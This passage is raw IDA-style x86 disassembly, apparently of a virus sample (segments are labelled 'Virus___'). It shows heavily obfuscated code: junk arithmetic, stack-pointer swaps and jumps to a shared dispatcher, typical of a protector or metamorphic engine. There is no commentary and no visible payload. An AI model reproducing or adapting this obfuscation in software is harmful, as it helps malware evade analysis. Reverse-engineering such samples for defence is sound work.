; ---------------------------------------------------------------------------


loc_545C28:				; CODE XREF: sub_545A2B+F05j
		sub	esp, 4
		mov	[esp-30h+arg_2A+2], eax
		jmp	loc_543A23
; ---------------------------------------------------------------------------


loc_545C36:				; CODE XREF: sub_54E933+38j
		neg	ebp
		push	ecx
		push	esi
		push	eax
		jmp	loc_54BBD5
; ---------------------------------------------------------------------------


loc_545C40:				; CODE XREF: sub_545A2B+7337j
		xchg	ebp, [esp-24h+arg_1E+2]
		pop	esp
		push	2CB1h
		mov	[esp-24h+arg_1E+2], esi
		push	edi
		jmp	loc_548056
; ---------------------------------------------------------------------------


loc_545C52:				; CODE XREF: sub_545A2B+39BFj
		not	esi
		shl	esi, 2
		shr	esi, 6
		dec	esi
		add	esi, 6395B526h
		sub	edi, esi
		pop	esi
		sub	edx, edi
		pop	edi
		add	edx, 0AE67207Bh
		sub	esi, 31475B83h
		add	esi, edx
		push	edx
		mov	edx, 0C2F6AC0h
		xor	edx, 3D683143h
		jmp	loc_54E7F7
; ---------------------------------------------------------------------------


loc_545C86:				; DATA XREF: Virus___:00542EBCo
		pop	dword ptr [edx]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545C8D:				; CODE XREF: sub_545A2B-ED2j
		push	2963h
		mov	[esp-14h+arg_E+2], edx
		push	2C78h
		mov	[esp-10h+arg_A+2], edi
		mov	edi, eax
		push	edi
		sub	dword ptr [esp+0], 58ED7464h
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_549AF0
; ---------------------------------------------------------------------------


loc_545CB2:				; CODE XREF: sub_545A2B+9897j
		pop	ecx
		mov	eax, [esp-14h+arg_E+2]
		add	esp, 4
		jmp	loc_5448EF
; ---------------------------------------------------------------------------


loc_545CBE:				; CODE XREF: sub_545A2B+303Fj
		push	ebp
		push	esp
		mov	ebp, [esp-10h+arg_A+2]
		add	esp, 4
		push	68F6h
		mov	[esp-10h+arg_A+2], ebx
		mov	ebx, 4B90233Ch
		sub	ebx, 4B902338h
		add	ebp, ebx
		push	[esp-10h+arg_A+2]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 2
		add	ebp, 2B4D1097h
		jmp	loc_54F46F
; ---------------------------------------------------------------------------


loc_545CF9:				; CODE XREF: sub_545A2B+310Ej
		mov	eax, 0FFFFFFFFh
		add	ebp, eax
		pop	eax
		xor	ebp, 2E42492Ch
		jmp	loc_547195
; ---------------------------------------------------------------------------


loc_545D0C:				; CODE XREF: sub_545A2B+2553j
		mov	edi, [esp-14h+arg_E+2]
		push	eax
		jmp	loc_54B0DC
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp-10h+arg_A+2]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545D1E:				; CODE XREF: sub_545A2B+6A72j
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 22041813h
		push	edi
		mov	edi, 2F4B4589h
		push	edi
		sub	[esp-4+arg_0], 637E3F24h
		pop	ebp
		add	ebp, 637E3F24h
		pop	edi
		jmp	sub_5452D5
; ---------------------------------------------------------------------------


loc_545D44:				; CODE XREF: sub_545A2B+5E10j
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_544A3B
; ---------------------------------------------------------------------------


loc_545D4F:				; CODE XREF: sub_545A2B+7490j
		mov	eax, 29845648h
		shl	eax, 6
		not	eax
		jmp	loc_547F23
; ---------------------------------------------------------------------------


loc_545D5E:				; CODE XREF: sub_545A2B-1404j
		sub	ebp, esi
		pop	esi
		add	ebp, esi
		add	ebp, 60B8277Bh
		mov	esi, [esp-1Eh+arg_1A]
		add	esp, 4
		push	ebx
		mov	ebx, 14EB4A8Fh
		add	ebx, 28FE55F2h
		and	ebx, 19E6716Eh
		push	edi
		jmp	loc_5438A8
; ---------------------------------------------------------------------------


loc_545D8A:				; CODE XREF: sub_545A2B+3966j
		sub	al, ch
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-1Ah+arg_16]
		pop	esp
		mov	[esp-1Eh+arg_1A], ecx
		mov	cl, 12h
		push	edx
		mov	dh, 0EEh
		jmp	loc_544F5E
; ---------------------------------------------------------------------------


loc_545DAA:				; CODE XREF: sub_545A2B+2B0Ej
		mov	edx, [esp-1Ah+arg_16]
		add	esp, 4
		jmp	loc_549B1F
; ---------------------------------------------------------------------------


loc_545DB8:				; CODE XREF: sub_545A2B+6DF5j
		sub	edx, esi
		push	[esp-1Eh+arg_1A]
		pop	esi
		jmp	loc_545144
; ---------------------------------------------------------------------------


loc_545DC3:				; CODE XREF: sub_54585B+9C66j
		push	1A38h
		mov	[esp-1Ah+arg_16], esi
		pop	ebp
		pop	esi
		push	ebp
		push	[esp-1Eh+arg_1E]
		pop	ebp
		pop	[esp-1Eh+arg_1A]
		push	[esp-22h+arg_1E]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_543A51
; ---------------------------------------------------------------------------


loc_545DEE:				; CODE XREF: sub_54DD9C-CC9j
		mov	eax, 4A2242A6h
		jmp	loc_54DDD2
; ---------------------------------------------------------------------------


loc_545DF8:				; CODE XREF: sub_545A2B-279Ej
		add	edi, 4
		add	edi, 4
		jmp	loc_547533
; ---------------------------------------------------------------------------


loc_545E09:				; CODE XREF: sub_545A2B+304Ej
		xchg	ebp, edi
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		xchg	ebp, edi
		push	edx
		mov	edx, 62CA29C6h
		push	edx
		inc	[esp-12h+arg_E]
		pop	edx
		shl	edx, 2
		shl	edx, 8
		xor	edx, 0D7DCA435h
		xor	edi, edx
		jmp	loc_544F42
; ---------------------------------------------------------------------------


loc_545E31:				; CODE XREF: sub_545A2B+1D12j
		sub	esp, 4
		mov	[esp-12h+arg_E], esi
		mov	esi, 14E871D4h
		jmp	loc_54AC69
; ---------------------------------------------------------------------------


loc_545E41:				; CODE XREF: sub_545A2B+7C83j
		mov	[esp-12h+arg_E], edi
		mov	edi, 394919F7h
		shl	edi, 6
		xor	edi, 6E063F9Eh
		xor	edi, 6A9619DCh
		xor	ebx, edi
		mov	edi, [esp-12h+arg_E]
		add	esp, 4
		jmp	loc_548609
; ---------------------------------------------------------------------------


loc_545E65:				; CODE XREF: sub_545A2B+6E79j
		push	ebp
		jmp	loc_54D409
; ---------------------------------------------------------------------------


loc_545E6B:				; CODE XREF: sub_545A2B+8195j
		push	eax
		jmp	loc_54D736
; ---------------------------------------------------------------------------


loc_545E71:				; CODE XREF: sub_543F5A-A3Fj
		push	edx
		push	ecx
		mov	cl, 7Eh
		jmp	loc_54B080
; ---------------------------------------------------------------------------


loc_545E7A:				; CODE XREF: sub_545A2B+828j
		mov	[esp-6+arg_0+2], ecx
		jmp	loc_548C8C
; ---------------------------------------------------------------------------


loc_545E82:				; CODE XREF: sub_54CE77+9j
		mov	[esp-6+arg_0+2], edi
		push	esi
		push	268706B7h
		pop	esi
		jmp	loc_546E40
; ---------------------------------------------------------------------------


loc_545E91:				; CODE XREF: sub_545A2B-147Cj
		add	ecx, 4
		jmp	loc_5474A2
; ---------------------------------------------------------------------------


loc_545E99:				; CODE XREF: sub_545A2B-1AA5j
		pop	edx
		shr	ecx, 0Ah
		push	51C0h
		mov	[esp-3Ch+arg_36+2], ebx
		jmp	loc_545A07
; ---------------------------------------------------------------------------


loc_545EAA:				; CODE XREF: sub_545A2B+7D9Ej
		pop	esp
		mov	ax, word ptr [esp-40h+arg_3A+2]
		push	1AABh
		mov	[esp-3Ch+arg_36+2], ebp
		jmp	loc_546E3A
; ---------------------------------------------------------------------------


loc_545EBC:				; CODE XREF: sub_545A2B+9A84j
		push	dword ptr [eax]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545EC3:				; CODE XREF: sub_545A2B+4E72j
		mov	eax, [esp-38h+arg_32+2]
		add	esp, 4
		inc	bh
		push	edx
		jmp	loc_54B7E5
; ---------------------------------------------------------------------------


loc_545ED1:				; CODE XREF: sub_545A2B+29F2j
		pop	ebx
		sub	esi, edx
		add	esi, 28793926h
		jmp	loc_547C33
; ---------------------------------------------------------------------------


loc_545EDF:				; CODE XREF: sub_545A2B+1861j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-38h+arg_32+2]
		pop	esp
		mov	[esp-3Ch+arg_36+2], ebp
		sub	esp, 4
		mov	[esp-38h+arg_32+2], edx
		jmp	loc_54EFE4
; ---------------------------------------------------------------------------


loc_545F00:				; CODE XREF: sub_545A2B-1311j
		add	dh, ah
		jmp	loc_54724C
; ---------------------------------------------------------------------------


loc_545F07:				; CODE XREF: sub_545A2B+74EDj
		mov	[esp-3Eh+arg_3A], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp-3Ah+arg_36], edi
		jmp	loc_544FB6
; ---------------------------------------------------------------------------


loc_545F1D:				; CODE XREF: sub_545A2B+8DDBj
		add	edx, ebx
		pop	ebx
		jmp	sub_5456BE
; ---------------------------------------------------------------------------


loc_545F25:				; CODE XREF: sub_545A2B+96D3j
		or	edx, 3FB91229h
		push	edi
		jmp	loc_54D4E7
; ---------------------------------------------------------------------------


loc_545F31:				; CODE XREF: sub_545A2B-24A0j
		push	esi
		push	28ED6D10h
		pop	esi
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	esi, ecx
		jmp	loc_549C98
; ---------------------------------------------------------------------------


loc_545F45:				; CODE XREF: sub_545A2B+7C0Cj
		xor	dl, 98h
		mov	cl, dl
		pop	edx
		jmp	loc_546CA3
; ---------------------------------------------------------------------------


loc_545F50:				; CODE XREF: sub_545A2B+111Fj
		mov	ebx, 711567FAh
		sub	ebx, 1A3F0C74h
		jmp	loc_54D6A9
; ---------------------------------------------------------------------------


loc_545F60:				; CODE XREF: sub_545A2B+9529j
		mov	eax, [esp-1Eh+arg_1A]
		add	esp, 4
		jmp	loc_54E907
; ---------------------------------------------------------------------------


loc_545F6B:				; CODE XREF: sub_545A2B-F52j
		push	eax
		mov	eax, ebp
		mov	ecx, eax
		pop	eax
		pop	ebp
		and	esi, ecx
		push	[esp-4Ch+arg_46+2]
		pop	ecx
		add	esp, 4
		xor	esi, 192D65FEh
		jmp	loc_54EAFF
; ---------------------------------------------------------------------------


loc_545F86:				; CODE XREF: sub_545A2B-AC0j
		sub	eax, 4
		xchg	eax, [esp-1Ch+arg_16+2]
		pop	esp
		mov	[esp-20h+arg_1A+2], esp
		jmp	loc_5477B3
; ---------------------------------------------------------------------------


loc_545F95:				; CODE XREF: sub_545A2B+3753j
		add	esp, 4
		jmp	loc_546CF3
; ---------------------------------------------------------------------------


loc_545F9D:				; CODE XREF: sub_545A2B+6521j
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		push	eax
		mov	eax, 2AD02B9Eh
		mov	ecx, 44130D27h
		add	ecx, eax
		jmp	loc_54737A
; ---------------------------------------------------------------------------


loc_545FB9:				; DATA XREF: Virus___:00542E38o
		mov	ax, word ptr [esp-1Ch+arg_16+2]
		push	624Fh
		mov	[esp-18h+arg_12+2], edi
		push	esp
		mov	edi, [esp-14h+arg_E+2]
		jmp	loc_549169
; ---------------------------------------------------------------------------


loc_545FCE:				; CODE XREF: sub_545A2B+4B28j
		add	esp, 4
		sub	[esp-18h+arg_12+2], 6F2E4B9Ch
		sub	[esp-18h+arg_12+2], 66DA430Eh
		push	esi
		mov	esi, 5F7B1FD2h
		jmp	loc_5484F4
; ---------------------------------------------------------------------------


loc_545FEA:				; CODE XREF: sub_545A2B+868j
		mov	esi, [esp-14h+arg_E+2]
		add	esp, 4
		jmp	sub_543776
; ---------------------------------------------------------------------------


loc_545FF5:				; CODE XREF: sub_545A2B+5C69j
		sub	ebx, 0F77FE06h
		mov	esi, ebx
		pop	ebx
		or	edx, esi
		push	[esp-1Ch+arg_16+2]
		jmp	loc_54607D
; ---------------------------------------------------------------------------


loc_546008:				; CODE XREF: sub_545A2B+220Aj
		push	[esp-18h+arg_16+2]
		pop	esi
		jmp	loc_54CEFE
; ---------------------------------------------------------------------------


loc_546012:				; CODE XREF: sub_545A2B+93F2j
		push	ebx
		mov	ebx, 0BDA733Ah
		add	eax, ebx
		pop	ebx
		shr	eax, 6
		add	eax, 0FFB5A51Ch
		jmp	loc_543919
; ---------------------------------------------------------------------------


loc_546028:				; CODE XREF: sub_545A2B+113Dj
		push	[esp-18h+arg_12+2]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-14h+arg_E+2]
		pop	esp
		sub	eax, ebx
		add	eax, 2445724h
		push	1618h
		jmp	loc_54E2E3
; ---------------------------------------------------------------------------


loc_546050:				; CODE XREF: sub_545A2B-1F04j
		xor	esi, ecx
		pop	ecx
		jmp	loc_54632F
; ---------------------------------------------------------------------------


loc_546058:				; CODE XREF: sub_545A2B+984Dj
		xchg	ebp, [esp-3Ch+arg_36+2]
		jmp	loc_54CC07
; ---------------------------------------------------------------------------


loc_546060:				; CODE XREF: sub_545A2B+6B82j
		pop	esp
		mov	[esp-40h+arg_3A+2], eax
		mov	eax, 63F73E01h
		push	ecx
		push	esi
		mov	esi, 49D76DA2h
		mov	ecx, esi
		pop	esi
		sub	eax, ecx
		pop	ecx
		neg	eax
		jmp	loc_54DA39
; ---------------------------------------------------------------------------


loc_54607D:				; CODE XREF: sub_545A2B+5D8j
		pop	esi
		add	esp, 4
		jmp	loc_54F3B6
; ---------------------------------------------------------------------------


loc_546086:				; CODE XREF: sub_545A2B+450Fj
		mov	eax, [esp-20h+arg_1A+2]
		jmp	loc_54D068
; ---------------------------------------------------------------------------


loc_54608E:				; CODE XREF: sub_545A2B-DE8j
		pop	eax
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_547B5F
; ---------------------------------------------------------------------------


loc_54609D:				; CODE XREF: sub_545A2B+93B5j
		push	ecx
		jmp	loc_54AEFD
; ---------------------------------------------------------------------------


loc_5460A3:				; CODE XREF: sub_545A2B+89FEj
		mov	[esp-18h+arg_12+2], ebx
		push	ecx
		jmp	loc_545B1A
; ---------------------------------------------------------------------------


loc_5460AC:				; CODE XREF: sub_545A2B+5BCBj
		sub	ecx, 0F2C0B4F2h
		mov	[edx+30h], ecx
		pop	ecx
		popa
		jmp	loc_543261
; ---------------------------------------------------------------------------


loc_5460BC:				; CODE XREF: sub_545A2B+3FCDj
		and	eax, edi
		push	[esp-38h+arg_32+2]
		pop	edi
		add	esp, 4
		jmp	loc_547E6E
; ---------------------------------------------------------------------------


loc_5460CA:				; CODE XREF: sub_545A2B+2FB5j
		xor	eax, [esp-3Ch+arg_36+2]
		pop	esp
		mov	[esp-40h+arg_3A+2], ebx
		jmp	loc_548FF8
; ---------------------------------------------------------------------------


loc_5460D6:				; CODE XREF: sub_545A2B+75EAj
		add	esp, 4
		jmp	loc_549A6D
; ---------------------------------------------------------------------------


loc_5460DE:				; CODE XREF: sub_545A2B-140Fj
		push	[esp-1Eh+arg_1E]
		mov	ebp, [esp-1Ah+arg_16]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B097
; ---------------------------------------------------------------------------


loc_5460F2:				; CODE XREF: sub_545A2B+23B7j
		add	edx, ebp
		jmp	loc_54894E
; ---------------------------------------------------------------------------


loc_5460F9:				; CODE XREF: sub_545A2B+236Fj
		inc	eax
		jmp	loc_54804C
; ---------------------------------------------------------------------------


loc_5460FF:				; CODE XREF: sub_545A2B+80BFj
		add	edx, ebp
		pop	ebp
		push	edx
		jmp	loc_54A927
; ---------------------------------------------------------------------------


loc_546108:				; CODE XREF: sub_545A2B+9A0Bj
		sub	edx, 4
		xchg	edx, [esp-16h+arg_12]
		pop	esp
		jmp	loc_54C8A9
; ---------------------------------------------------------------------------


loc_546117:				; CODE XREF: sub_545A2B+8AA9j
		pop	bx
		push	eax
		mov	al, 3Ah
		shr	al, 1
		sub	al, 2
		xor	bl, al
		pop	eax
		push	cx
		mov	ch, 0A0h
		or	bl, ch
		jmp	loc_543860
; ---------------------------------------------------------------------------


loc_54612E:				; CODE XREF: sub_545A2B+9224j
		pop	ecx
		jmp	loc_54E8C0
; ---------------------------------------------------------------------------


loc_546134:				; CODE XREF: sub_5441CB+966Cj
		push	[esp-1Eh+arg_1E]
		jmp	loc_54D784
; ---------------------------------------------------------------------------


loc_54613D:				; CODE XREF: sub_545A2B+8D78j
		sub	edx, 0FC49D505h
		xor	eax, edx
		mov	edx, [esp-1Ah+arg_16]
		jmp	loc_545B5D
; ---------------------------------------------------------------------------


loc_54614D:				; CODE XREF: sub_545A2B+70C6j
		mov	edi, 63A39CAh
		sub	edi, esi
		jmp	loc_5441D6
; ---------------------------------------------------------------------------


loc_546159:				; CODE XREF: sub_545A2B+3CF6j
		shr	edx, 8
		add	edx, 6F8A55C2h
		sub	edx, 42772439h
		sub	ecx, edx
		pop	edx
		jmp	loc_546BD2
; ---------------------------------------------------------------------------


loc_546170:				; CODE XREF: sub_545A2B+219Fj
		push	2D01h
		jmp	loc_54CE8F
; ---------------------------------------------------------------------------


loc_54617A:				; CODE XREF: sub_544C48-12F5j
		not	al
		neg	al
		jmp	sub_54ECC0
; ---------------------------------------------------------------------------


loc_546183:				; CODE XREF: sub_5457F5-1ACEj
		mov	ebp, ebx
		pop	ebx
		sub	ebx, 74246539h
		sub	ebx, ebp
		push	eax
		jmp	loc_544352
; ---------------------------------------------------------------------------


loc_546194:				; CODE XREF: sub_545A2B+59D3j
		add	bl, 0A1h
		add	bl, 4Ah
		or	dl, bl
		pop	ebx
		neg	dl
		not	dl
		dec	dl
		jmp	loc_54B2A1
; ---------------------------------------------------------------------------


loc_5461A8:				; CODE XREF: sub_545A2B-2546j
		pop	ax
		mov	ax, word ptr [esp-30h+arg_2A+2]
		sub	esp, 4
		mov	[esp-2Ch+arg_26+2], edi
		push	esp
		mov	edi, [esp-28h+arg_22+2]
		jmp	loc_546F1F
; ---------------------------------------------------------------------------


loc_5461C0:				; CODE XREF: sub_545A2B+25E6j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5461C5:				; CODE XREF: sub_545A2B+1BF4j
		sub	ebp, 5DC13418h
		add	ebp, edx
		add	ebp, 5DC13418h
		jmp	loc_54AAA2
; ---------------------------------------------------------------------------


loc_5461D8:				; CODE XREF: sub_545A2B-1733j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5461DD:				; CODE XREF: sub_545A2B-BF3j
		dec	ch
		shr	ch, 5
		neg	ch
		jmp	loc_544705
; ---------------------------------------------------------------------------


loc_5461E9:				; CODE XREF: sub_545A2B+1B30j
		push	3775h
		mov	[esp-0Ah+arg_4+2], ebx
		jmp	loc_549372
; ---------------------------------------------------------------------------


loc_5461F6:				; CODE XREF: sub_545A2B+6694j
		mov	esi, [esp-0Ah+arg_4+2]
		add	esp, 4
		sub	ebx, 75D61282h
		add	ebx, 5CB114DAh
		jmp	loc_544191
; ---------------------------------------------------------------------------


loc_54620D:				; CODE XREF: sub_545A2B+813Cj
		ror	word ptr [esp-0Eh+arg_A], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546217:				; CODE XREF: sub_545A2B-262Bj
		pop	ebx
		xor	edi, 0B5EB7D5h
		sub	edi, 0FFFFFFFFh
		add	edi, 5B45629Ah
		push	edx
		mov	edx, 17A31313h
		jmp	loc_5469AF
; ---------------------------------------------------------------------------


loc_546235:				; CODE XREF: sub_545A2B+308Aj
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp-28h+arg_22+2]
		pop	esp
		add	eax, 4FA32124h
		sub	esp, 4
		jmp	loc_545E7A
; ---------------------------------------------------------------------------


loc_546258:				; CODE XREF: sub_545A2B+59AFj
		and	ebx, 0DC73EAh
		push	50C7h
		mov	[esp-24h+arg_1E+2], eax
		mov	eax, 0AB86BFFh
		jmp	loc_549809
; ---------------------------------------------------------------------------


loc_546270:				; CODE XREF: sub_545A2B+4B18j
		xor	esi, [esp-24h+arg_1E+2]
		mov	esp, [esp-24h+arg_1E+2]
		imul	cl
		movzx	cx, ah
		push	small 0F34h
		mov	word ptr [esp-22h+arg_1E], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546290:				; CODE XREF: sub_545A2B+64D9j
		push	[esp-1Ch+arg_16+2]
		jmp	loc_545FEA
; ---------------------------------------------------------------------------


loc_546298:				; CODE XREF: sub_545A2B-15C4j
		mov	[esp-1Ah+arg_16], esi
		mov	esi, 6B467AE6h
		add	esi, 0C4708623h
		push	edx
		mov	edx, 7DFD55C5h
		xor	edx, 647C0D2Dh
		neg	edx
		inc	edx
		sub	edx, 8ED87025h
		sub	ebx, edx
		jmp	loc_54B211
; ---------------------------------------------------------------------------


loc_5462C2:				; CODE XREF: sub_545A2B+65F9j
		push	0D1C7252h
		jmp	loc_54E06A
; ---------------------------------------------------------------------------


loc_5462CC:				; CODE XREF: sub_545A2B+994j
		mov	bl, 26h
		mov	ah, bl
		pop	ebx
		dec	ah
		jmp	loc_549953
; ---------------------------------------------------------------------------


loc_5462D8:				; CODE XREF: sub_545A2B+6F41j
		mov	esp, [esp-16h+arg_12]
		jmp	loc_54365A
; ---------------------------------------------------------------------------


loc_5462E0:				; CODE XREF: sub_545A2B-1E39j
		dec	esi
		sub	esi, 0FFFFFFFFh
		shr	esi, 7
		jmp	loc_54C81A
; ---------------------------------------------------------------------------


loc_5462EF:				; CODE XREF: sub_545A2B+93A0j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		push	[esp-2Eh+arg_2A]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	sub_5451FD
; ---------------------------------------------------------------------------


loc_54630E:				; CODE XREF: sub_545A2B+6E56j
		push	edx
		push	1AF60AB3h
		pop	edx
		xor	edx, 1AF60AB7h
		mov	esi, edx
		pop	edx
		add	edi, esi
		mov	esi, [esp-2Eh+arg_2A]
		add	esp, 4
		push	ebx
		jmp	loc_54BC14
; ---------------------------------------------------------------------------


loc_54632F:				; CODE XREF: sub_545A2B+628j
		sub	esi, 0F60D5A1Bh
		mov	edx, esi
		mov	esi, [esp-3Ch+arg_36+2]
		add	esp, 4
		sub	ebx, edx
		pop	edx
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp-48h+arg_42+2]
		pop	esp
		jmp	loc_54EB72
; ---------------------------------------------------------------------------


loc_54634C:				; CODE XREF: sub_545A2B+7838j
		mov	[esp-4Ch+arg_46+2], edx
		mov	edx, esp
		push	59Dh
		mov	[esp-48h+arg_42+2], edi
		sub	esp, 4
		mov	[esp-44h+arg_3E+2], ebx
		mov	ebx, 0B7229Ch
		inc	ebx
		jmp	loc_5476DC
; ---------------------------------------------------------------------------


loc_54636D:				; CODE XREF: sub_545A2B+1D31j
		add	ebp, edx
		pop	edx
		add	ebp, esi
		jmp	loc_544A09
; ---------------------------------------------------------------------------


loc_546377:				; CODE XREF: sub_545A2B+3F6Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp-48h+arg_42+2], ecx
		mov	ecx, 2
		sub	eax, 27A30991h
		jmp	loc_5467F9
; ---------------------------------------------------------------------------


loc_546392:				; CODE XREF: sub_545A2B+8B05j
		push	edi
		mov	edi, 700E7357h
		or	edi, 8BE07C3h
		jmp	loc_54EDFB
; ---------------------------------------------------------------------------


loc_5463A3:				; CODE XREF: sub_545A2B+4E40j
		or	ecx, 51B80CCBh
		xor	ecx, 53F86CDFh
		jmp	loc_54E32C
; ---------------------------------------------------------------------------


loc_5463B4:				; CODE XREF: sub_545A2B+934Bj
		sub	cl, dh
		pop	edx
		sub	bl, cl
		pop	ecx
		sub	bl, al
		push	edx
		push	eax
		push	ebx
		jmp	loc_5462CC
; ---------------------------------------------------------------------------


loc_5463C4:				; CODE XREF: sub_545A2B+3363j
		push	5E92h
		mov	[esp-3Ch+arg_36+2], ebx
		push	ebp
		jmp	loc_54A347
; ---------------------------------------------------------------------------


loc_5463D2:				; CODE XREF: sub_545A2B+4901j
		sub	eax, 4E7118ABh
		mov	ebx, [esp-38h+arg_32+2]
		add	esp, 4
		add	eax, 2
		jmp	loc_54C144
; ---------------------------------------------------------------------------


loc_5463E8:				; CODE XREF: sub_54E0A5+6j
		add	[esp-3Ch+arg_3A+2], ebx
		pop	ebx
		pop	edx
		push	eax
		jmp	loc_546901
; ---------------------------------------------------------------------------


loc_5463F4:				; CODE XREF: sub_5432E2+Aj
		add	esp, 4
		push	4E46h
		mov	[esp-40h+arg_3A+2], eax
		mov	eax, 4
		jmp	loc_54AB17
; ---------------------------------------------------------------------------


loc_546409:				; CODE XREF: sub_545A2B+5A0Dj
		mov	edx, esp
		add	edx, 4
		jmp	loc_54CE34
; ---------------------------------------------------------------------------


loc_546416:				; DATA XREF: Virus___:00542EC8o
		mov	ax, word ptr [esp-40h+arg_3A+2]
		jmp	loc_548444
; ---------------------------------------------------------------------------


loc_54641F:				; CODE XREF: sub_54C9ED+17DDj
		sub	dh, 0CCh
		jmp	loc_543C9D
; ---------------------------------------------------------------------------


loc_546427:				; CODE XREF: sub_54E80B-B81Ej
		xchg	edx, [esp-40h+arg_3A+2]
		pop	esp
		shl	[esp-44h+arg_3E+2], cl
		pushf
		jmp	loc_54D369
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-40h+arg_3A+2]
		jmp	sub_543710
; ---------------------------------------------------------------------------


loc_54643D:				; CODE XREF: sub_545A2B+261Cj
		sub	edi, 2C5A2B55h
		jmp	loc_54B3C3
; ---------------------------------------------------------------------------


loc_546448:				; CODE XREF: sub_545A2B+BE0j
		pop	ecx
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp-44h+arg_3E+2]
		jmp	loc_5472AF
; ---------------------------------------------------------------------------


loc_54645A:				; CODE XREF: sub_545A2B+7CDDj
		mov	esi, [esp-44h+arg_3E+2]
		add	esp, 4
		or	edx, eax
		jmp	loc_548296
; ---------------------------------------------------------------------------


loc_546467:				; CODE XREF: sub_545A2B+5CC3j
		shl	eax, 2
		jmp	loc_544410
; ---------------------------------------------------------------------------


loc_54646F:				; CODE XREF: sub_545A2B+87E6j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-44h+arg_3E+2]
		jmp	loc_54AF9B
; ---------------------------------------------------------------------------


loc_546483:				; CODE XREF: sub_545A2B+887Fj
		add	ecx, 4
		xchg	ecx, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		and	ecx, edx
		pop	edx
		jmp	loc_54BD7B
; ---------------------------------------------------------------------------


loc_546497:				; CODE XREF: sub_545A2B+4743j
		pop	[esp-48h+arg_42+2]
		jmp	loc_54E2CD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5464AF:				; CODE XREF: sub_545A2B+71B9j
		mov	esp, [esp-4Ah+arg_46]
		shr	word ptr [esp-4Ah+arg_46], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5464BC:				; CODE XREF: sub_545A2B+5650j
		pop	eax
		push	edx
		mov	dh, bh
		jmp	loc_54985F
; ---------------------------------------------------------------------------


loc_5464C5:				; CODE XREF: sub_545A2B+56E1j
		pop	eax
		xchg	ecx, [esp-4Ah+arg_46]
		pop	esp
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		push	edx
		jmp	loc_54522D
; ---------------------------------------------------------------------------


loc_5464E9:				; CODE XREF: sub_545A2B+392Bj
		pop	edi
		add	eax, ebp
		jmp	loc_54382D
; ---------------------------------------------------------------------------


loc_5464F1:				; CODE XREF: Virus___:0054EAF1j
		push	4
		jmp	loc_54485F
; ---------------------------------------------------------------------------


loc_5464FB:				; CODE XREF: sub_545A2B-1B9j
		pop	small word ptr [esp-26h+arg_22]
		not	cx
		jmp	loc_547F90
; ---------------------------------------------------------------------------


loc_546507:				; CODE XREF: sub_545A2B+237Aj
		push	541Fh
		mov	[esp-24h+arg_1E+2], ebx
		jmp	loc_549D3E
; ---------------------------------------------------------------------------


loc_546514:				; CODE XREF: sub_545A2B+204Dj
		pop	edi
		add	esp, 4
		jmp	loc_549F9D
; ---------------------------------------------------------------------------


loc_54651D:				; CODE XREF: sub_545A2B-E0Aj
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	0B63h
		jmp	loc_54E554
; ---------------------------------------------------------------------------


loc_54652F:				; CODE XREF: Virus___:005452E6j
		push	edx
		push	0F8Eh
		push	esp
		pop	dword ptr [esp+0]
		push	ecx
		mov	ecx, 4
		add	[esp-0Ch+arg_A+2], ecx
		pop	ecx
		pop	edx
		push	ecx
		mov	ecx, 6CE12F04h
		dec	ecx
		and	ecx, 11686A8Bh
		push	edx
		mov	edx, 602A07h
		xor	ecx, edx
		pop	edx
		add	edx, ecx
		mov	ecx, [esp-10h+arg_A+2]
		add	esp, 4
		push	7AC2h
		mov	[esp-10h+arg_A+2], ecx
		mov	ecx, 4
		jmp	loc_54A137
; ---------------------------------------------------------------------------


loc_546575:				; CODE XREF: sub_54D94C+2Cj
		mov	ecx, ebx
		pop	ebx
		jmp	loc_547991
; ---------------------------------------------------------------------------


loc_54657D:				; CODE XREF: sub_545A2B+521Fj
		add	[esp-14h+arg_12+2], ebp
		pop	ebp
